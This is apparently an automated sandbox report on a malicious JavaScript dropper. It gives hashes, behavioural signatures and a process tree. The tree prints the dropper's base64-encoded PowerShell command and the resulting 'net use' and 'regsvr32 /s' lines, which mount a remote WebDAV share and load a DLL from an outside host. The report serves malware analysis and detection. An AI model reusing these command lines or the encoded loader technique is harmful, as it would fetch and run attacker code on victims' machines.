Analysis

  • max time kernel
    138s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/07/2024, 21:59

General

  • Target

    8074275042255925825.js

  • Size

    18KB

  • MD5

    f5732f761b129a374e1a836a6993110d

  • SHA1

    17a35f00992acf224b9ae0c220a262d58c458572

  • SHA256

    44e59291d76a80018a292f778c4d3e4518dfd5cb553680c9bee35b32e48fbcd3

  • SHA512

    a19eefbd2def88ec5a8e3c7f294f3a87db3b89d83cbc65840a485396eda229a93edfb141ff50116e5e5d5ba98aaa45a542d26ab739e4890d4d79234921df9c68

  • SSDEEP

    384:tDBFZjFskmMYyDkY0sYkKZYkcmkwkNksq0sYkKMDksAM7T2IkY0DkstIsT2vkvnf:BzZxBb

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\8074275042255925825.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2264
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADEAOQA3ADYAMwAyADgAOQAzADgAMgAxADcAMgAuAGQAbABsAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4712
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\dailywebstats.com@8888\davwwwroot\
        3⤵
          PID:1708
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\dailywebstats.com@8888\davwwwroot\19763289382172.dll
          3⤵
            PID:1260

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3stuv2ds.io1.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/4712-0-0x00007FFE20033000-0x00007FFE20035000-memory.dmp

        Filesize

        8KB

      • memory/4712-10-0x0000016F34890000-0x0000016F348B2000-memory.dmp

        Filesize

        136KB

      • memory/4712-11-0x00007FFE20030000-0x00007FFE20AF1000-memory.dmp

        Filesize

        10.8MB

      • memory/4712-12-0x00007FFE20030000-0x00007FFE20AF1000-memory.dmp

        Filesize

        10.8MB

      • memory/4712-15-0x00007FFE20030000-0x00007FFE20AF1000-memory.dmp

        Filesize

        10.8MB